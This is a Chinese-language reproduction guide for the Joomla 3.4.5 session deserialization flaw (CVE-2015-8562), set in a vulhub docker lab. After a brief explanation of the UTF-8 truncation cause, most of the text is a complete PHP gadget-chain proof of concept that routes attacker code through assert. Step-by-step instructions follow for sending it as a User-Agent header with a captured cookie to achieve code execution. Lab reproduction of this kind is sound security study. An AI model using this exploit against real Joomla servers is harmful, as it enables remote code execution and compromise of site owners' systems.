Joomla 3.4.5 反序列化漏洞
1.漏洞原理
本漏洞根源是PHP5.6.13前的版本在读取存储号的session时,如果反序列化出错则会跳过当前一段数据而去反序列化下一段数据。而Joomla将session存储在Mysql数据库中,编码是utf8,当我们插入4字节的utf8数据时则会导致截断。截断后的数据在反序列化时就会失败,最后触发反序列化漏洞。
2.漏洞环境
docker-compose up -d
# 启动后访问http://192.168.184.130:8080/
3.漏洞复现
不带User-Agent头,先访问一次目标主页,然后记下cookie
Cookie:f4bdb0e2406efb11a23e28f0b118151a=282589ba97b9e9ee3776e827762b5e63;
生成POC:
<?php
class JSimplepieFactory {
}
class JDatabaseDriverMysql {
}
class SimplePie {
var $sanitize;
var $cache;
var $cache_name_function;
var $javascript;
var $feed_url;
function __construct()
{
$this->feed_url = "phpinfo();JFactory::getConfig();exit;";
$this->javascript = 9999;
$this->cache_name_function = "assert";
$this->sanitize = new JDatabaseDriverMysql();
$this->cache = true;
}
}
class JDatabaseDriverMysqli {
protected $a;
protected $disconnectHandlers;
protected $connection;
function __construct()
{
$this->a = new JSimplepieFactory();
$x = new SimplePie();
$this->connection = 1;
$this->disconnectHandlers = [
[$x, "init"],
];
}
}
$a = new JDatabaseDriverMysqli();
$poc = serialize($a);
$poc = str_replace("\x00*\x00", '\\0\\0\\0', $poc);
echo "123}__test|{$poc}\xF0\x9D\x8C\x86";
将生成好的POC作为User-Agent,带上第一步获取的Cookie发包,这一次发包,脏数据进入Mysql数据库。然后同样的包再发一次,我们的代码被执行
参考链接:https://vulhub.org/#/environments/joomla/CVE-2015-8562/